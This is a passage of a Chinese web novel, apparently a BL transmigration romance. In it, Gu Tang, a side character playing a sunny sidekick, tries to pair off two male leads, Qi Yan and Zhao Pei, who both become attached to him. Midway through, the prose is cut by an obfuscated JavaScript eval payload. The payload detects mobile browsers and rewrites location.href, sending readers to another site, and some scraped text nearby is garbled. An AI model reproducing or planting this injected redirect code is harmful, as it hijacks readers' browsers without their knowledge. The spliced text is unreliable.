对方帮自己的那次也并不是什么一时兴起,而是早有预谋!因为赵培的生活是上个月才突然发生变故的。 把他从小养到大的奶奶突然被查出了肺癌晚期,治疗需要很大一笔费用,是赵培十几年甚至二十几年都无法赚到的数目。 但傲气的他并不想就此放弃,而是瞒着奶奶辍了学,借了一笔高利贷先应付前几期疗程的费用,他开始没日没夜的打工,一天睡眠的时间不到4小时,不到半个月整个人就消瘦的厉害,但是他挣了那点钱利息都不够还的。 昨天晚上就是债主突然找到了她打工的地方来要钱,赵培拿不出来,才挨了一顿毒打。 因为确实是自己欠的钱,他根本就不敢反抗,是默默的承受着,身上的淤青连成一片,但他的脊梁骨始终挺得笔直,也就是他这副有骨气的样子才让那些债主火气更盛,下手一下比一下重。 明明已经欠了一屁股债了,这小子凭什么还能这么傲气? 赵培几乎以为自己要被打死了,不过也没什么区别…他本来就想着等奶奶治好了病就自杀的。 虽然说这群放高利贷的也不是什么好人,但自己也算是实打实的坑了人家一大笔钱,想还上大概是不可能的了,那就想个极端点的办法,至少不能让这群人闹到奶奶跟前去。赵培那时候是这么想的。 会有人从天而降把他从泥潭里拉出来吗?怎么可能,这世界又不是童话,他又不是故事里的主角。 他完全没想到真会有这么一个人出现在他的生命里,在齐晏突然出现在那些人身后一拳一脚的放倒了一片的时候他也没想到,直到顾棠出现。 赵培其实应该更感谢出手帮他赶走了债主的齐晏的,但…齐晏可能是个善良的人,哪怕是路过的小猫小狗都会帮一把,在帮自己的时候也是,眼神始终冷冷淡淡的,不夹杂丝毫感情,就像看着路边的流浪狗。 赵培不喜欢这样,但他也会记住对方,在倘若那时给予的帮助,等将来有机会加倍的还回去。但顾棠就不一样了。 赵培当时慢吞吞的把护着头的手放下来的时候,正好对上顾棠担忧的温柔眸光,就在那一瞬间,他那颗被寒风刺的千疮百孔的心脏似乎重重的跳动了一下,震得他胸口处都感受到了密密麻麻的钝痛。 眼前这个少年是在真情实意的担忧着他…这世界上除了奶奶,竟然还有人会对他产生担忧的情绪。 赵培眨巴两下眼睛,抖掉睫毛上粘着的粘稠血液,终于看清了那少年的脸。 精致,美艳的不似凡人,特别是对方的那双眼睛,清澈明亮,似乎隐藏着世间所有美好的情感,而那些明亮和美好的东西都是他从未体验过的。 如果这双眼睛能一直看着自己就好了…赵培愣愣的与顾棠对视了片刻,直到对方下意识将目光偏向别处才恍惚间回过身来。 又过了几分钟,救护车的声音从远处传来,停在他们几人面前,赵培被医护人员抬上了担架,意识也在那段颠簸声中慢慢的陷入了沉寂。 等他清醒过来后,齐晏正翘着二郎腿倚着他对面那张病床的床头摆弄着手机,似乎是在给什么人发消息。 会是刚才那少年吗?赵培眸光一闪,不动声色的打量起周围的环境来,扫了一圈后他忍不住心头微叹。 这次住院也不知道要花多少钱…他现在本来就欠了一大堆债,这回自己又住了院,真是祸不单行。 注意到他清醒过来的齐晏挑了挑眉,迈着一双大长腿几步就来到他面前站定,居高临下的角度带给了他前所未有的压迫感。 “家里没钱,书念不下去了?” 赵培一愣,犹豫着点了点头,有些搞不清楚眼前这人到底是什么意思。 “我可以帮你还清债务,也可以暂时资助你,前提是你必须要念完大学。” …前后两句根本就没有任何逻辑上的关系,这两件事都是对自己有利的,所以这人…到底是什么意思?或者说有什么企图? 齐晏写了张支票给他,转头欲走,脚步顿了一下,像是想起了什么,又走回他病床前。 “我会安排你进入顾棠的班级,你帮我盯着点他,要是学校里有人欺负他记得告诉我,每次我都会另外给你支付一笔报酬,就当是封口费。” 齐晏不想让顾棠知道自己找人监视他,同时又想在他面前展示自己善良正直的一面,所以才会留在这儿等了三四个小时,就为了给并且这个被追债的年轻人一个摆脱困境的机会。 赵培沉默了片刻,最终还是点了点头。 顾棠…应该就是那位少年的名字吧? 他没办法拒绝,因为这不仅关乎着他奶奶的医药费是否有着落,还关乎着他未来的前景…他也打心底里不想拒绝。 对方对他有恩,而且提出的要求也仅仅是在那少年有危险的时候告诉对方…这很好,他们三人之中没有任何一个受到伤害,他也拥有了能和顾棠近距离接触的机会。 赵培小心翼翼的把那张纸条对折后放进上衣口袋里,然后又把口袋外面的拉链拉上,确保那张纸条不会随着他走动掉下来才放下心来。 只有和顾棠成为朋友才能在对方遇到危险的第一时间给雇主齐晏发去消息。赵培在心里这么安慰着自己,心头那最后一丝慌乱也随之烟消云散了。 回到家后,顾棠连着接到了齐晏和赵培两人的电话,齐晏是邀请他周末出去履行“跟班”的义务,赵培则是单纯的想确定这个号码到底是不是他的。 …真希望这对小夫夫能快点锁死,互相嚯嚯去,少来烦他。 到了约定的日子,顾棠换上了卫衣和休闲长裤,在镜子面前照了照,似乎不太满意,又从柜子里翻出一个黑色鸭舌帽戴在头上。 “这回就好多了…” 他嘟囔了一句,脚步轻快的推开房门下了楼,齐晏已经到他家门外了。 哪有老大亲自来接小跟班的啊?天底下没这个道理,但齐晏确实做出来了。 “怎么这么久?你…就穿这身?”齐晏上下打量了他几眼。 “嘿嘿…这不是方便跑路嘛,毕竟我只是个战五渣。”顾棠抬头露出整张脸,朝他露出标准的八颗牙齿的露齿笑。 有些人的美丽像是带着刀片,看上两眼就会刺痛眼睛;有些人的美丽像是夜明珠,只有在某些特定时刻才能显现出来。 顾棠的美却不一样,很有朝气,精致的出奇,却又不乏锋利的美感,说着说着有些拗口…但看着他这张脸,齐晏总会难以避免的产生一种很奇怪的感觉。 就连这世界上最铁石心肠的人在他面前都无法露出一点凶色吧?当然,这只是齐晏的幻想,因为他不确定自己的这种感觉出发点是不是只因为审美偏差。 齐晏打心底里是不忍心让顾棠面临任何可能的危险的。 他的心这几天都乱糟糟的,虽然昨天晚上已经得到了赵培这个“暗线”的第一次联系,也知道了顾棠昨天一天在学校里的所作所为,但他依旧觉得不满足。 赵培发来的信息里的文字在他脑海里交织出少年的音容相貌,却又一点点破裂,最终被湮灭成尘一点点消散…什么都比不上亲眼见到对方时的安心。 “我什么时候说要带你去教训别人了?”齐晏挑起他头上戴着的鸭舌帽,勾在食指上绕了两圈儿,吊儿郎当的。 顾棠一把捂住了被他早上睡得乱糟糟又起晚了忘了打理的头发,白皙的脸上罕见的染上了一丝羞愤,“快还给我!” “…叫声哥哥就还你。”见他这样,齐晏也是一愣,过了几秒钟才回过神来,面不改色的提出要求。 你还要不要脸?顾棠憋红了脸才忍住没有对着他破口大骂。 阳光小跟班不可以骂人…不可以骂人…在心里默念了几遍,他强撑起笑脸。 “晏哥…能不能把帽子还给我呀?你也不想我顶着这一头鸡窝跑到外面给你丢人现眼吧?” 顾棠对声音的把控很有研究,最懂得夹到哪种程度能在达到撒娇的级别的同时还不至于惹人讨厌,但很显然,他没有打算用到现在的齐晏身上。 少年甜腻诱人的声音在他耳边回荡了一遍又一遍,就好像被女巫施下了魔咒一样,让他瞳孔一阵震颤,手指也轻微痉挛了一下。 按理说清透和甜腻明明就是两种完全不同的表达方式,可顾棠却偏偏可以做到让两种方式深度融合,既不会过分刺耳,又不会腻歪到引起人的心理不适。 “别想萌混过关,叫‘哥哥’。”齐晏喉结滚动了一下,沙哑着嗓音,一只手也不自觉的挡在了身前。 呦?这是被他气的嗓子都哑了呀。顾棠在心里鄙夷了他一番,心情终于好了不少,也愿意花点心思应付他了。 “哥哥~还给我嘛,我不想让别人看到我这么丑的样子…” 顾棠撇了撇嘴,眨巴两下眼睛,想装模作样的挤出几滴泪水,但是演技实在有限,看着不像是要哭了,反而有点像是像…… …他在对着自己抛媚眼吗? 齐晏被他眨巴着眼睛盯了几秒钟就受不了的移开了视线,轻咳一声,手腕一个翻转就把帽子戴回了他头上,还很贴心的帮他扶正。 “行了行了,不逗你了,等会儿带你去野炊。” 野炊?野炊好啊!肯定不能就他和齐晏两个人野吧?聚众人数超过五人是肯定的啦。 不仅安全无公害,说不定还能在齐晏身边的那群朋友面前刷刷戏份混个脸熟什么的,好 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实际上顾棠只是害怕被齐晏抢走这段戏份。他给自己安排的剧情里,他应该很谨慎很帅气的自己系好安全带,期间齐晏只需要在一旁充当背景板就好。 “嗯嗯。”顾棠敷衍的点了点头。 齐晏不说话了。主要是郁闷的。 车辆在道路上疾驰着,很稳,几乎都感受不到什么颠簸,车窗外的景色唰唰唰的闪过,看的人眼花缭乱。 顾棠只看了一眼就不敢再往外看,而是收回视线眼睛直勾勾的盯着眼前的挡风玻璃。 虽然他这时候要是突然晕车吐出来会多很多戏份…但是太不卫生了,也很不体面,顾棠只想体体面面的抢到戏份,然后体体面面的踹掉主角成功上位。 不过对于齐晏这种从小含着金汤匙长大的天之骄子来说,竟然还会野炊吗?他还以为像对方这种人应该常去酒吧和赛车场这种地方的呢。 顾家也算是上流家族了,但顾父顾母是实打实的富一代,赚钱的本事练就了一身,在花钱方面却没什么独到之处,家里保险库里的银行卡都要成堆了都不见他们花出去多少。 顾棠平时的零花钱也都是百万打底的,但他也不太好意思花,因为那些钱都是他在这个世界上的父母赚来的,而且他对花钱也不感什么兴趣,经历过那么多个世界,早就没有什么世俗的欲望了。 周远麟倒是把富二代的坏毛病学了一大堆,但也不是那种花钱大手大脚的类型,去酒吧也只是跟几个同龄人包个包间纯喝酒,甚至于那家他常去的酒吧都是周家旗下的产业。 真正的纨绔会是什么样子的呢?顾棠以前从没见过,因为那些人基本上都不配成为他的任务目标,他也不屑于和那些人接触——当然,好奇这种东西是要另算的。 “他们都是我朋友,没什么坏心眼,就是爱开开玩笑,不过你要是不适应的话到了地方就一直跟着我,我会照顾好你的。” 顾棠小鸡啄米似的点点头。 懂了,到地方就闷头吃就行了呗,还说什么适不适应的…有的吃就行,如果那群人在他面前唧唧歪歪的话,他可以直接当那群人不存在。 又过了一会,车速缓慢下降,驶入了一个有名的高档别墅区,齐晏驾驶着车在路旁停了下来,然后下车牵着顾棠的手往一栋别墅里走去。 这里似乎是齐晏某个朋友住的地方,地方很空旷,草坪被修剪的很整齐,花圃里的花也被按品种分散在几个划定的区域内,最最奇怪的是别墅的两个大门都是对称的,门边上的门铃也是。 顾棠觉得这家的主人一定是个强迫症。 不过这种人竟然还会允许朋友在家里搞野炊,明显很不符合逻辑。 齐晏对这里很熟,牵着他一路来到了后院,顾棠远远看到已经有几个年轻人在忙活了。 “齐晏,你怎么来这么晚?是不是想偷懒啊?”一个染着金发带着耳钉的青年第一个注意到了他们,笑着走过来拍了拍齐晏的肩膀。 听见声音的顾棠也抬头看向他,他明显愣了一下,一时间竟然都忘了移开视线。 “看什么呢?干活去,你昨天可是输了,按理说今天的活都该你们几个做才对。”齐晏握紧了顾棠的手,笑眯眯的推了那青年一把。 “不是…你怎么还往这带别人啊?这不是增加我工作量嘛…”青年嘟囔了一句,声音很小,齐晏没听到。 顾棠却听到了。不过他的心理素质是何其强大,根本没放在心上。 几人看着都像是那种平时连厨房都不会进的大少爷,没想到烤起东西来还是有模有样的,没过一会儿,一股诱人的香味就飘了出来。 顾棠总是控制不住的往那边看上两眼,心里想着串什么时候能考好,连身边什么时候多了个人都没发觉。 “喂,你和齐晏是怎么认识的?你是他包养的小明星吗?我以前怎么从没见过你啊?你不会是十八线以外的吧?” 顾棠被耳边突然出现的声音吓了一跳,抬头一看才发现齐晏已经撸起袖子去帮着烤串了,而他身边作者的原则换成了刚才那个带耳钉的金发青年。 “我…”顾棠拧着眉想了半天,“我是他小弟,我们是在一场打架斗殴中认识的,我主动帮他望风,然后等他打赢了我又去他家找他,他被我的真心打动了,当场就决定收我当小弟了。” 冯昊霖狐疑的盯着他,似乎是并不相信他这番说辞。 “真的。”顾棠斩钉截铁保证道。 “你不说是吧?我去问齐晏了。” 看着他起身离开,顾棠叹了口气,心里一时间十分惆怅。 这年头,说点实话还没人信了。 没过一会儿,齐晏拿着一大把烤好的肉串回到顾棠身边,身后还跟着一脸菜色的冯昊霖。 “跟他道歉。”齐晏把烤串塞进顾棠手里,撇了一眼傻站着的冯昊霖。 顾棠也笑眯眯的看向他。 12. 主角攻的阳光小跟班(四) 齐晏的朋友确实像对方说的一样,都不是什么坏人,就是有点过分自来熟了些。 那天回去后,齐晏又约过顾棠几次,有时候是去看拳赛,有时候是去游乐园,还有时候是和那几个朋友小聚。 但最近不知道是怎么回事,齐晏一连好几天都没再联系他,倒是对方的那几个朋友不知从哪要到了他的微信,加上好友后天天暗戳戳的约他出去。 仗着刚放暑假,顾棠来者不拒,每天都约上了不一样的人出去玩,但在他自己看来这是联络感情,在别人看来却不是这么回事。 [冯昊霖:齐哥齐哥,你猜我今天看见谁了?] 某天晚上,齐晏洗完热水澡走出浴室,刚要吹头发就听到放在床头柜上的手机震动了一声,他走近看了一眼手机屏幕,是冯昊霖发来的。 [谁?] 这家伙是他们这几人里最爱八卦的,估计是又看到了那个小明星被金主包养了吧。 齐晏有些兴致缺缺,但还是耐着性子回了一句。 消息才发过去不到3秒钟就收到了一条足足有五行的文字回复,看着就跟早有预谋似的。 [冯昊霖:顾棠和谢禹!他俩手牵手走在一起,好像刚从游戏厅出来,俩人都笑的可开心了,我这还有照片,等会儿发给你嗷。] 齐晏吹干了头发才不紧不慢的打开手机,点进了最上面那条消息,刚看到第一行他的眉头就轻轻皱了起来。 [冯昊霖:「图片」] [冯昊霖:「图片」] 齐晏手指悬停在手机屏幕上方,沉默了足有半分钟才点进了第一张图片。 图片角落里的顾棠手里抱着一个小熊玩偶,只露出小半张脸,但他眉眼弯弯的样子和扬起的唇角还是映入了齐晏眼帘。 他身边是个身形挺拔的英俊青年,对方的一只手环在他肩上,两人靠的很近,气氛也很融洽…确实看上去关系不一般。 谢禹和顾棠…… 齐晏突然泄了气,任由自己倒进身后柔软的床上,眼神直勾勾的盯着天花板,双目无神。 [冯昊霖:齐哥,你说他们俩是不是偷偷在一起了?我咋看着这么奇怪呢…] 手机又响了一声,但是齐晏没有去管,他在思考。 谢禹第一次见到顾棠的时候是什么表情?他还隐约间记得,对方先是愣神了几秒钟,但很快就恢复了正常。 齐晏当时也没有细想,因为他觉得这反应再正常不过了,就连他第一次见到顾棠的时候都被那张脸惊艳到了片刻,他那几个没见过什么世面的好友又怎么可能丝毫不为所动呢? 现在想来,谢禹应该从那时候起就对顾棠产生了兴趣,甚至已经开始下手了。 齐晏现在脑子很乱,没有人能理解他现在的煎熬。 他已经整整一周没有联系过顾棠了,他每时每刻都在想念着对方,但是理智却告诉他不能再沉沦下去了。 他之前总强迫着自己不去想他带着顾棠去游乐园和看电影这种行为的深层含义,他以为这样就可以欺骗自己“只是朋友”而已。 但是怎么可能呢? 他又何尝不是见到对方的第一眼就被吸引住了呢? 那天,站在二楼面无表情的俯视着下方的齐晏在顾棠看来浑身都有一股拒人于千里之外的冷淡气场,但只有他自己知道当时他的心跳有多快。 那时候,他甚至还幻想过那少年是不是家里安排给他的联姻对象。 那顾棠呢?顾棠会是什么想法?他们两个是两情相悦吗?齐晏突然想到了这个很严重的问题。 他蹭的从床上弹起,拿起手机点开微信,他没有理会冯昊霖如雨点般轰炸过来的消息,而是点进了顾棠的聊天界面。 盯着几天前对方发过来的最后一条消息,他犹豫片刻,手指在屏幕上点了几下,编辑了一条信息发了过去。 [晏哥:明天可以见一面吗?我去接你,地方你定。] 自从放假后,顾棠就成为了冲浪达人,每天就像是长在网上了似的,无论是谁在什么时候发消息他都能秒回,这次也不例外。 但是齐晏最不想看到的回复却出现了。 [棠棠:抱歉啊晏哥,我明天约了人,一整天都没时间,要不改天吧?我请你。] 顾棠说明天约了人。 约他的不是谢禹还能是谁呢?他们两个真是…每天都见面,就不会觉得腻吗?还是说陷入热恋中的情侣见多少次都嫌不够? 他们会接吻吗?会上床吗? 顾棠已经成年了,可以为自己的幸福做出决定了,没有人能干涉他。 可齐晏不甘心。 * 顾棠觉得自己的回答没有任何问题。 他完全没有意识到自己这些天以来为了和主角攻在那些朋友们处好关系做的努力到底给对方带来了多大的烦恼。 当然,就算他知道了也还是会这么做的,弥补一下中央空调的人设嘛。 其实他心里是觉得这么做齐晏也会为他高兴来着。毕竟收了他这么一个左右逢源很会做人的小弟,对方应该感觉到骄傲才对。 回完他消息的顾棠把手机往床头柜上一扔就爬床上睡觉去了。 他明天上午9点约的人,7点起来就行,所以还有大把的时间可以留给睡眠。 睡觉真是一项伟大的发明,又解乏又能打发时间的,世界上怎么会有这么两全其美的事情呢? 顾棠这一觉就直接睡到早上6点多,他是被耳边响起的嗡嗡声震醒的,迷迷糊糊的掀开眼皮看了一眼手机,就见聊天界面置顶的齐晏给他一连发来了好几条消息。 大早上的…还让某不让人睡个好觉了?齐晏以后一定会是个黑心老板! [晏哥:我在楼下。] [晏哥:「图片」「图片」] [晏哥:醒了的话就开开门。] [晏哥:把今天的约会推掉行吗?我们谈谈。] [晏哥:棠棠。] 顾棠只看了第一条消息就不耐烦的把手机甩到一边,一把扯过被子把头蒙住不动了。 还不到3秒钟他就又睡着了,睡眠质量杠杠的。 期间闹钟好像响过,又好像没响过…他已经困蒙了,完全没听见,连站在大门外面的齐晏都被他完全抛到了脑后。 天大地大,睡觉最大。 等他再次睁开眼睛的时候已经快8点了,手机嗡嗡嗡的响个不停,顾棠眯着眼睛拿起来看了一眼,全是齐晏那群朋友发来的“早安”。 足足有七八个。 顾棠慢吞吞的走进卫生间解决了一下生理问题,又进了洗漱间洗漱,等收拾完的时候已经八点半了。 OK…今天又省下了一顿早饭,一天一个省钱小妙招。 顾棠特意穿了一身衣柜里最亮眼的衣服,又在门口换了一双纯白色的运动鞋,他打开了门。 “…去约会?” 顾棠脸上的轻松表情僵住了。 “什么约会?晏哥,你怎么来了?也不提前跟我说一声…”顾棠缩回了门里,只露出小半张脸。 他觉得有点尴尬的同时又有些疑惑,齐晏说什么呢?约会?谁跟谁啊? “棠棠,不用再瞒着我了,我都知道了。”齐晏站在门口,腰杆挺得笔直,深色的眸子里倒映着门内少年的小半张脸。 他有什么立场去指责顾棠?该怎么说?兔子不吃窝边草吗?虽然顾棠确实像只可爱的小兔子,但是在那段关系里,顾棠扮演的却是“窝边草”。 “晏哥…你到底知道什么了啊?”顾棠更懵逼了,搭在门上的手指都不自觉的松开了。 “你和谢禹的事我都知道了…” 齐晏将视线偏移到别处,似乎不想看见顾棠被拆穿后的表情,但他话还没说完就听到身后有脚步声响起。 不用回头都知道是谁,肯定是谢禹那个吃他窝边草的家伙… 齐晏闭了闭眼,强迫自己平静的转过身,在看清身后那人的脸时,他直接愣住了。 竟然是他安插在顾棠身边的“卧底”。 赵培,那个被他救过一次的贫苦少年,现在竟然完全变了样,不仅穿着体面了不少,就连周身的气质都一改往日的阴沉丧气转变成了温和那挂的了。 …所以现在是什么情况?他算是捉奸成功了吗?没有一点痛快的感觉就算了,心里还有点堵的慌。 “齐少。”赵培不卑不亢的和他打了声招呼,脸上没有丝毫尴尬的情绪。 “赵培!你终于来了…” 顾棠眼前一亮,从门里探出了大半个身子,眼巴巴的看着对方。 好兄弟!快点管管你老公吧!不要再让他堵在我门口说些奇奇怪怪的话了!简直太费脑细胞了呜呜呜… “怎么会是你?谢禹呢?”齐晏心里还有一丝希望,但很快,他这最后一丝希望也被无情的熄灭了。 赵培一点都不符合齐晏心目中对顾棠另一半的观感,谢禹虽然也只算那种精瘦类型的,但好歹看着还是挺精神的,虽然还是和自己差了一大截就是了。 顾棠怎么可能看上赵培这种长相矫揉造作的绿茶小白花类型呢?毕竟顾棠自己看着就是这种…去掉绿茶,再加上点可爱的单纯无辜小白花类型。 也就自己这样的才能配得上…等等,他到底在想什么啊! 真是太不应该了。 “…谢禹是谁?”听到这么个陌生的名字,赵培脸上露出了一丝疑惑。 然后顾棠眼睁睁的看着两个人都同时将头慢慢转向自己,六目相对,顾棠尴尬的简直想把门摔上,缩在房间的角落里装鹌鹑。 但是他不能。 他回头想了想,半天都想不出来自己到底在尴尬些什么,于是他轻咳两声,平稳了下心神。 “谢禹是晏哥的朋友呀,他没介绍你们认识过吗?”顾棠此时此刻真的很想露出一个标准的姨母笑,调侃一下眼前这两人。 他倒是想明白了一点。 这俩现在分明就很熟啊!亏他还以为当时齐晏克制住了没对自己命中注定的未来老婆下手呢,没想到两人还是勾搭在一起了。 主角攻和主角受都这么熟了,肯定心里早就对对方有点不知道的情愫了。 但是这对小情侣都不好意思先开口,顾棠很乐意做那个把他俩破冰的好心路人甲——这也算是一项重要戏份了!他真是个小天才。 路人主角,怎么不可以呢? 赵培眨了眨眼睛,有些不明所以,“我跟齐少并不熟…” 嚯,主角受当场不给主角攻面子!齐晏现在的表情一定很难看吧? 顾棠装作不经意的眼神瞟了一眼齐晏,突然看到对方面色已经阴沉了下来,他更加坚定了心里那个想法。 两个主角果然会相互吸引…瞧瞧,赵培这是还没明白自己的心意呢,齐晏这边已经开始吃醋了。 虽然不明白为什么这个该死的小妖精总会吸引到自己的注意,但还是忍不住偷偷在意对方,哪怕心里的自责从来都没有停歇过,但是身体却不受控制…咦~ 偷偷的爱上你~却不敢告诉你~ 他差点就跟着唱出来了,幸好尚存的理智在这一刻发挥了作用… 好嗑。顾棠嘴角上扬了一瞬间,又很快被他压了下去。 他不知道的是,齐晏脸色难看只是因为赵培刚才眨的那两下眼睛。 这人就不是个好东西,在他面前装的跟个人似的,在背地里竟然敢偷偷向顾棠抛媚眼!心机…低俗! 赵培可真能装,差点都把自己骗过去了。齐晏在心里冷笑,眼神越发锐利。 “没事没事,慢慢的就熟了,晏哥人可好了,你也是个好人,你俩一定合得来!”顾棠分别把一只手搭在他俩的肩膀上,眼神里带着鼓励。 就像幼儿园里帮助两个社恐的小朋友建立朋友关系的温柔幼师一样。 齐晏嘴角抽了抽,一股恶心感油然而生,但在顾棠温柔目光的注视下,他还是羞耻的垂下了头,没吭声。 顾棠今天心情这么好…还是改天再拆穿这个不要脸的货色吧。齐晏深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479737|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气,强迫自己冷静下来。 “晏哥,来都来了,要不我们仨去逛街吧!我想去看车,明年高考完就要考驾照了…” “他也懂车吗?”齐晏面无表情的看向赵培。 顾棠一愣,随即笑道,“你懂不就够了吗?晏哥最厉害啦,到时候给我和小培讲讲呗。” “…也行吧。” 被夸了…齐晏有点开心。但是听见顾棠这么亲密的叫赵培,他又完全开心不起来了。 这是一种很矛盾的心理。 当初明明是他把赵培推到顾棠身边给自己当内应的,到头来后悔的还是他。 他怪得着顾棠吗?怪不着,因为顾棠这么单纯的一小孩儿,怎么可能抵挡住外面的那些妖艳贱货呢? 他倒是想怪赵培,甚至现在还在心里偷偷骂对方,但他又很清楚,这人只是实行自己的命令而已,唯一做的不对的地方可能就是和顾棠相处的太好了。 到头来齐晏也只能怪自己识人不清了。 赵培全程都没多说一句话,心安理得的扮演着背景版的角色,但是身边两人却没有一个人忽视了他的存在。 “小培,你现在家里情况还好吗?” 余光扫见齐晏的眼神并没有看过来,顾棠凑到他耳边小声问道。 赵培一愣,心里突然有点感动,“已经没关系了,前几天刚得到了社会上好心人的救助,我奶奶的手术也成功了,等到度过观察期就可以出院了。” …谢谢你。赵培在心里默默重复着这三个字。 如果不是齐晏当时缺一个能在学校里看着顾棠的人,赵培现在应该还在为生计奔波吧…哪能像现在一样重返校园,过平静的生活啊。 那些普通人触手可及的东西,对他来说简直跟奢望一样。 “那太好了!恭喜你啊。” 顾棠弯起了眸子,眼睛亮亮的,那双澄澈的眸子里全是笑意,就想像是他的生活变好了对对方有什么好处似的… 顾棠真的是个很善良的少年呢,面孔干净,心灵也干净,还这么有同理心…这样的一个人在这个社会上会不会很痛苦?会不会因为整日为别人的苦难担忧,弄得自己心情都不好了呢? 赵培对他的关心感到甜蜜的同时又忍不住开始往更深处联想。 周围的人群渐渐密集了起来,齐晏主动牵起了顾棠的手,三人从人群中间穿了过去,赵培尽力想跟上前面两人,但是被周围几人挤来挤去的,还是落后了几步。 “小培还没跟上呢,你走这么快干嘛?”赶着去投胎吗?不管你cp了?活该到现在都没追到人家! “你叫这么亲密做什么?他可是比你大了整整一岁!咳…”意识到自己情绪有些太激动了,齐晏慢吞吞的收敛起语气里的烦躁,接着道,“总之在外面别这么没大没小的,丢我的脸…” 齐晏脸黑了。他真是服了自己这张嘴了,关键时刻这么不顶用,真是狗嘴里吐不出象牙…呸呸呸! “…我、我给晏哥丢脸了吗?”顾棠停下了脚步,眼眶一瞬间就红了,红润的嘴唇被他咬得泛白,一副泫然欲泣的可怜小模样。 我,是,不,是,给,你,脸,了!主角攻是神经病吧?大户人家出来的就是不一样,讲究真多! 不过想起自己的身份,顾棠咬牙切齿的强迫自己忍了下来。 希望齐晏不要有一天落在自己手里…要不然…哼哼哼,给他点颜色瞧瞧! 顾棠会有这种想法是有一定依据在的。 别看他之前任务完成度都是100%,还在新人培训会上大言不惭的给出了自己的逆袭小技巧…语言生动形象,说的跟真的似的,实际上那些只是他为了粉饰自己的一些不为人知的任务经历编出来的而已。 他完成任务的方式很独特,不是纯粹的那种炮灰逆袭剧本,而是…躺着总会莫名其妙崩掉剧情的神奇特长100%拆主角cp。然后又会莫名其妙的成为两个主角争抢的对象。 知道他任务的真实完成情况的也就只有时空局里那几个跟他相熟的无限流大佬了,顾棠不止一次被那几人调侃,说他是不是背着他们偷偷觉醒了什么魅魔体质… 顾棠不语,只是对这几个夕时好友报之以“呵呵”。 但是虽然嘴上说着狠话,他却并不觉得这次任务还会演变成那样。 因为齐晏现在这副神情他太懂了,抛去对方口不择言的成分,他简直磕死了好吗! 因为突然升起的占有欲,又舍不得对赵培这个正主发火,就只好把邪火发泄在了自己这个小炮灰身上…连自己稍微叫的亲密点都不行,虽然很癫,但是…真的很颠。 顾棠实在没有办法帮他进行美化了,癫就是癫,校园文主角攻只会对自己命中注定的主角受留出点好脸色,这是既定的事实,顾棠已经深切体会到不止一次了。 “你…你别哭啊!”看见他眼底的泪光,齐晏瞬间就慌了神,“我不是那个意思,我就是…不想看见你亲近别人…棠棠,明明我们才是先认识的,为什么你对赵培的态度…” 齐晏突然有点说不下去了。 心里仅存的那点自尊心还是无法让他就这么直截了当的表达出自己的情绪。他以前对自己引以为傲,现在却有些恨自己这幅扭曲的性格了。 如果他能像赵培一样放的开就好了…呵,他到底在想什么啊,怎么能羡慕那样一个处处都不如自己的人? “咋了?你吃醋啦?”顾棠眨巴眨巴眼睛,好不容易挤出的一点泪光已经不见了。 感受到齐晏的心情似乎恢复了一些,他想说些活跃气氛的话,但慢慢琢磨出来对方话里的歧义… 我对赵培的态度…怎么了?我先认识你的又怎么了?这句话怎么看怎么都不像是齐晏在吃赵培的醋。 顾棠之前最担心的情况还是发生了。 顾棠有些惆怅,又有些郁闷。 被点明后,齐晏面上不自然起来,心跳也骤然加速,像是豁出去了一般。 “对,我就是想让你一直关注着我!不要总看别人…可以吗?” 13. 主角攻的阳光小跟班(完) 赵培不知道什么时候挤了过来,正好听到他说的最后一句话,愣愣的看着两人。 虽然早就想到了两人会是这种关系,但是事实突然摆在眼前他还是有点无法接受。 顾棠可是刚成年啊,年龄还那么小,齐晏怎么能做出这种事呢?这么赤裸裸的情绪流露,还是在大街上当着这么多人的面…顾棠一定会感到很尴尬吧? “…呃…大家都是朋友啊,有什么亲近不亲近的…如果真要区分的话我当然是会更亲近晏哥的,因为晏哥对我最好呀。” 顾棠眨巴着一双无辜的水灵灵的大眼睛,试图“萌”混过关。 救命…就算你真这么喜欢我也不要当着赵培的面说出来啊!人家对你一片真心,你把人家当僚机,这是人干的事? 顾棠余光扫了一眼静立在两人几步远的地方的赵培,在心里朝对方说了句抱歉,眼神转向齐晏时已经重新换回了灿烂的微笑。 “咳…你知道就好。”齐晏红着脸将视线撇向别处,高大的身形似乎佝偻了一些。 这是猛男害羞了?顾棠恶趣味的想着。 “小培,愣着干嘛?快过来,别一会儿又跟丢了。” 顾棠左手牵着齐晏,右手伸向赵培,笑眯眯的握紧,然后下意识的就要把两人的手搭在一起,自己的想往后退。 动作做到一半他才反应过来,撮合这俩已经不是自己的主要任务了。至于他现在的目标嘛…可能是安安静静的扮演好万人迷这一角色? 顾棠其实不是个自恋的人,他现在的这种心态完全是被后天环境逼的,他有时候都会忍不住想,自己会不会真的是传说中的魅魔转世呢? 魅魔的魅力强到何种程度顾棠是没见过的,他感受最深刻的是自己的魅力…怎么说呢?甚至有点危害到他正常完成任务了。 “棠棠,我看到那边有好几个4S店,我们要不要去看看?”赵培指向某个方向。 顾棠看都没看就点了点头。 其实说想出来看车只是找个借口带齐晏和赵培出来促进感情的,这回他们两个的感情问题自己是绝对不用担心了,顾棠对逛街的态度也不那么热衷了。 “带他去干嘛?他看得明白吗?”齐晏嘟囔了一句,声音不算大,因为并不想让顾棠听到。 赵培瞥了他一眼,没什么反应。 齐晏帮过他那么多,如今只是说几句阴阳怪气的话而已,他没什么忍不了的,而他,也早就习惯了忍耐。 谁又规定过低人一等的就注定一辈子都要低人一等呢? 赵培现在只想安安静静的读完高中,完成齐晏交代过的事,顺便…在顾棠需要他的时候就出现,因为这是他除了为了奶奶辍学打工之外觉得自己做过的唯一有价值的事情了。 某种程度上来说,赵培是个很自卑的人,虽然在任何人面前他都不会表现出自己的脆弱和不堪,但是在感情方面,他不愿意在自己凄惨落魄的时候尝试获得那些在他看来是最美好的东西。 进入这所学校以后,顾棠就像个小太阳一样温暖了他那颗冰冷的心。 